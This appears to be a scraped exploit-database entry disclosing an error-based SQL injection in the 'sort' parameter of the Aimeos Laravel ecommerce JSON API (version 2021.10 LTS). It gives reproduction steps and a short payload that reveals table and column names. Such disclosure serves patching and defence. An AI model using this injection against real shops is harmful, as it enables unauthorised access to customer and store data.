942d2d4f25
3 changes to exploits/shellcodes Pinkie 2.15 - TFTP Remote Buffer Overflow (PoC) Modbus Slave 7.3.1 - Buffer Overflow (DoS) Aimeos Laravel ecommerce platform 2021.10 LTS - 'sort' SQL injection
26 lines
No EOL
906 B
Text
26 lines
No EOL
906 B
Text
# Exploit Title: Aimeos Laravel ecommerce platform 2021.10 LTS - 'sort' SQL injection
|
|
# Date: 20/11/2021
|
|
# Exploit Author: Ilker Burak ADIYAMAN
|
|
# Vendor Homepage: https://aimeos.org
|
|
# Software Link: https://aimeos.org/laravel-ecommerce-package
|
|
# Version: Aimeos 2021.10 LTS
|
|
# Tested on: MacOSX
|
|
|
|
*Description:*
|
|
|
|
The Aimeos E-Commerce framework Laravel application is vulnerable to SQL injection via the 'sort' parameter on the json api.
|
|
|
|
==================== 1. SQLi ====================
|
|
|
|
https://127.0.0.1/default/jsonapi/review?sort=-ctime
|
|
|
|
The "sort" parameter is vulnerable to SQL injection, reveals table and column names.
|
|
|
|
step 1 : Copy json api GET request above.
|
|
step 2 : Change sort parameter value to --
|
|
|
|
----------------------------------------------------------------------
|
|
Parameter: sort (GET)
|
|
Type: error based
|
|
Title: GET parameter 'sort' appears to be injectable
|
|
Payload: sort=-- |